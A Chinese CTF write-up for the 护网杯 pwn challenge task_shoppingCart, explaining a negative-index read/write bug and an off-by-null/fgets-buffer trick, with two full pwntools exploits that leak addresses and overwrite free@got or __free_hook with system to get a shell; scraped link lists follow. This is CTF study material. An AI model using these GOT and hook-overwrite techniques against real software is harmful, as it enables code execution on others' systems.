护网杯 task_shoppingCart 记录
前言
相关题目位于
https://gitee.com/hac425/blog_data/tree/master/hwb
task_shoppingCart
漏洞位于 00BD9

用户输入 idx 然后根据索引找到表项( T ), 然后取 T 开头的 8 字节作为指针,先打印内容,然后修改。

通过漏洞,加上上图那种逻辑结构我们就可以查看并修改 data 的数据。
这个题的关键工作就是构造上图的结构。
开始以为和之前的一场比赛的题一样,程序中会有一个地方存着指向 got 表的指针
https://www.cnblogs.com/hac425/p/9416777.html
发现在程序开了 pie 后貌似就没有了。
方法一
后来看 wp 发现在 0x202068 处存放着一个指针, 指向自身, 这个指针貌似是在 fini_array 的函数里面会用到。

可以用它来做信息泄露

调试时

泄露程序基地址
利用 0x202068 这个指向自身的特性,最后我们可以拿到 程序的基地址
# (0x2021E0-0x202068)/8 , 0x202068存放指向自身的指针,通过这个可以 leak bin 的基地址。
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-47))
p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
bin.address = leak - 0x202068
info("bin.address: {}".format(hex(bin.address)))
# padding
p.send(p64(bin.address + 0x202140))
构造结构,查看并修改 got 表
最终需要构造的结构为

其中 0x0000555555756018 为 free@got 的地址。
利用开始创建的两个 account 来构造即可。
然后在泄露出 free 的地址后,把 free@got 改成 system ,然后 free("sh\x00") 即可 。
具体 exp:
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = "debug"
BinPath = "./task_shoppingCart"
LibcPath = "/lib/x86_64-linux-gnu/libc-2.23.so"
bin = ELF(BinPath)
libc = ELF(LibcPath)
bin.address = 0x0000555555554000
# context.binary = bin
p = process(BinPath, aslr=0)
def login():
p.sendlineafter("EMMmmm, you will be a rich man!", "1")
p.sendlineafter("RMB or Dollar?", "RMB")
def logout():
p.sendlineafter("EMMmmm, you will be a rich man!", "3")
def create_good(data, length):
p.sendlineafter("Now, buy buy buy!", "1")
p.sendlineafter("How long is your goods name?", str(length))
p.sendafter("What is your goods name?", data)
def modify_good(idx, data):
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(idx))
p.sendafter("OK, what would you like", data)
def free_good(idx):
p.sendlineafter("Now, buy buy buy!", "2")
p.sendlineafter("Which goods that you don't need?", str(idx))
# 创建两个 account, 后面用于伪造结构
login()
login()
logout()
create_good("sh\x00" , 8)
create_good("b" * 8 , 8)
create_good("c" * 8 , 8)
free_good(1)
# (0x2021E0-0x202068)/8 , 0x202068存放指向自身的指针,通过这个可以 leak bin 的基地址。
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-47))
p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
bin.address = leak - 0x202068
info("bin.address: {}".format(hex(bin.address)))
# accouont_table 的地址
p.send(p64(bin.address + 0x202140))
# 利用 account 1 , 往 0x2020A0 写入 puts@got 的地址
modify_good(-20, p64(bin.got['free']))
# 利用 account 2 , 往 0x2020A8 写入 0x2020A0, 构造一个写的结构
modify_good(-19, p64(bin.address + 0x2020A0))
# gdb.attach(p, """
# break *0x0555555554C45
# """)
# pause()
# (0x2021E0-0x2020A8)/8
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-39))
p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
libc.address = leak - libc.symbols['free']
info("libc.address: {}".format(hex(libc.address)))
p.send(p64(libc.symbols['system'])[0:7])
free_good(0)
p.interactive()
方法二
这个方法主要利用的是 off by null 和 fgets 的工作特性。
首先是 off by null

这里往 name_ptr 的 第 9 个字节写 \x00 ,通过改 currency_type 的最后一项可以让 account_table 第一项的第一个字节为 \x00, 这样会让指针落在 stdin 用于暂存数据的缓冲区。
在第一次调用 fgets 时,会为 fp 参数的 _IO_buf_base 分配一块内存用于暂存用户发过来的数据。

这块缓冲区是在 heap 区的顶部。所以当 account_table[0] 的指针的最低字节被置 \x00 后,会落入 stdin 的 _IO_buf_base 里面, 于是我们通过往程序发送数据,就可以构造我们之前所说的那种实现地址写读写的操作。
详细可以看 exp :
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
libc_name = '/lib/x86_64-linux-gnu/libc-2.23.so'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./task_shoppingCart')
p = process('./task_shoppingCart', aslr=0)
libc = ELF(libc_name)
def add(size, name):
p.recvuntil("Now, buy buy buy!")
p.sendline('1')
p.recvuntil("name?")
p.sendline(str(size))
p.recvuntil("What is your goods name?")
p.send(name)
def delete(idx):
p.recvuntil("Now, buy buy buy!")
p.sendline('2')
p.recvuntil("Which goods that you don't need?")
p.sendline(str(idx))
def edit(idx):
p.recvuntil("Now, buy buy buy!")
p.sendline('3')
p.recvuntil("Which goods you need to modify?")
p.sendline(str(idx))
def edit_vul(context):
p.recvuntil("Now, buy buy buy!")
p.sendline('3')
p.recvuntil("Which goods you need to modify?")
p.send(context)
# 首先填满 account 数组
for i in range(0x13):
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('1')
p.recvuntil("I will give you $9999, but what's the currency type you want, RMB or Dollar?")
p.sendline('a' * 8)
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('1')
p.recvuntil("I will give you $9999, but what's the currency type you want, RMB or Dollar?")
p.sendline('b' * 8)
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('3')
# 构造一个 unsorted bin , 目的是为了 unsorted bin 里面的两个指针
add(0x100, 'p4nda') # 0
add(0x70, '/bin/sh\x00') # 1
delete(0)
# 通过 分配 0 字节大小的 name, 可以绕过 create good 时的 设置 \x00 , 进而泄露出 libc
add(0, '') # 2
edit(2)
p.recvuntil('OK, what would you like to modify ')
libc_addr = u64(p.recv(6).ljust(8, '\x00'))
libc.address = libc_addr - 0x10 - 344 - libc.symbols['__malloc_hook']
p.send('p4nda')
print '[+] leak', hex(libc_addr)
print '[+] system', hex(libc.symbols['system'])
# 编辑 account_table[19]
edit((0x202140 + 19 * 8 - 0x2021E0) / 8 & 0xffffffffffffffff)
p.recvuntil('to?')
p.send('d' * 8)
gdb.attach(p)
pause()
payload = (str((0x202140 - 0x2021E0) / 8 & 0xffffffffffffffff) + '\n')
# fgets 的工作流程应该是 :
# 1. 用户发送数据到程序, 程序把数据存在 stdin 的暂存缓冲区
# 2. fgets 按需取数据
payload += (str(2) + '\n')
payload += (str(1) + '\n')
payload = payload.ljust(0x1000 - 0x20, 'a')
payload += p64(libc.symbols['__free_hook'])
edit_vul(payload)
# 写数据用的是 read , 也许会清空之前的缓存数据?
p.recvuntil('to?')
p.send(p64(libc.symbols['system']))
p.interactive()
参考
https://xz.aliyun.com/t/2897#toc-5
https://xz.aliyun.com/t/2892#toc-3
https://xz.aliyun.com/t/2893#toc-7
护网杯 task_shoppingCart 记录的更多相关文章
- 护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~
护网杯预选赛 WP转载自:https://qingchenldl.github.io/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFWP-BitPwn/#more WEB ...
- 2019护网杯baby_forensic
题目名称:baby_forensic题目描述:can you catch the flag?附件:“data.7z” 2019护网杯初赛的一道取证题,比赛时没做出来,赛后又研究了一下. 获取profi ...
- buu[护网杯 2018]easy_tornado
[护网杯 2018]easy_tornado 1.看看题目给了我们三个文件: /flag.txt url=?filename=/flag.txt&filehash=98c6aac4fbecf1 ...
- [原题复现]2018护网杯(WEB)easy_tornado(模板注入)
简介 原题复现: 考察知识点:模板注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...
- 护网杯2019 mergeheap --pwn
护网 又是签到 一天 这道题一开始 不懂得如何泄露 libc 信息,就蒙了 后来群里师傅也是刚刚好 做出 到这里 我就接着做了 . 先看下保护,发现 全开了 然后 就看下流程 大概 就是添加 c ...
- 护网杯 three hit 复现(is_numeric引发的二次注入)
1.题目源码 https://github.com/ZhangAiQiang/three-hit 题目并不真的是当时源码,是我根据做法自己写的,虽然代码烂,但是还好能达到复现的目的 ,兄弟们star一 ...
- 2018护网杯-easy_laravel 复现
题目docker环境: https://github.com/sco4x0/huwangbei2018_easy_laravel git clone下来直接composer up -d 运行即可,可以 ...
- 护网杯web
首先进入网页后,观察到有sign up 点击sign up 进行注册 再点击sign in 进行登录 进入一个买辣条的界面,可以知道,5元可以买一包大辣条,多包大辣条可以换一包辣条之王,多包辣条之王可 ...
- 护网杯一道crypto
import os def xor(a,b): assert len(a)==len(b) c="" for i in range(len(a)): c+=chr(ord(a[i] ...
随机推荐
- 安装ORACLE时 各Linux版本下载地址
oracle linux :https://edelivery.oracle.com/osdc/faces/SearchSoftware 需要注册oracle账号 redhat官方下载 https:/ ...
- mysql 常用操作命令
mysql官网指南:http://dev.mysql.com/doc/refman/5.1/zh/sql-syntax.html 1.导出整个数据库mysqldump -u 用户名 -p --defa ...
- Java实现二分法排序
二分法:(二分法不是只能做数组,这里的数组只是为了举例) 在给出的有序排列的数组中,把目标值和数组中间值进行比较,如果相等,则返回中间值下标,如果目标值小于中间值,就从数组的前半段再次执行二分法查找, ...
- date命令使用文档.txt
date命令的帮助信息 [root@localhost source]# date --help用法:date [选项]... [+格式] 或:date [-u|--utc|--universal] ...
- CentOS 7.5 安装与配置 Percona Server 5.7
个人比较喜欢 MYSQL 的轻量,今天花了一点时间把阿里云上的 MYSQL5.7 换成了 Percona-Server .Percona 是一个开源的 MySQL 衍生版,TokuDB 的数据库引擎使 ...
- 用分布式缓存提升ASP.NET Core性能
得益于纯净.轻量化并且跨平台支持的特性,ASP.NET Core作为热门Web应用开发框架,其高性能传输和负载均衡的支持已广受青睐.实际上,10-20台Web服务器还是轻松驾驭的.有了多服务器负载的支 ...
- Android四大组件之一 -- Service详解
相信大多数朋友对Service这个名词都不会陌生,没错,一个老练的Android程序员如果连Service都没听说过的话,那确实也太逊了.Service作为Android四大组件之一,在每一个应用程序 ...
- PHP之高性能I/O框架:Libevent(一)
Libevent 是一个用C语言编写的.轻量级的开源高性能I/O框架,支持多种 I/O 多路复用技术: epoll. poll. dev/poll. select 和 kqueue 等:支持 I/O, ...
- 【IT笔试面试题整理】反转链表
[试题描述]定义一个函数,输入一个链表的头节点,反转该链表并输出反转后链表的头节点 [参考代码] 方法一: public static Link reverseLinkList(Link head) ...
- 并发编程之 Java 三把锁
前言 今天我们继续学习并发.在之前我们学习了 JMM 的知识,知道了在并发编程中,为了保证线程的安全性,需要保证线程的原子性,可见性,有序性.其中,synchronized 高频出现,因为他既保证了原 ...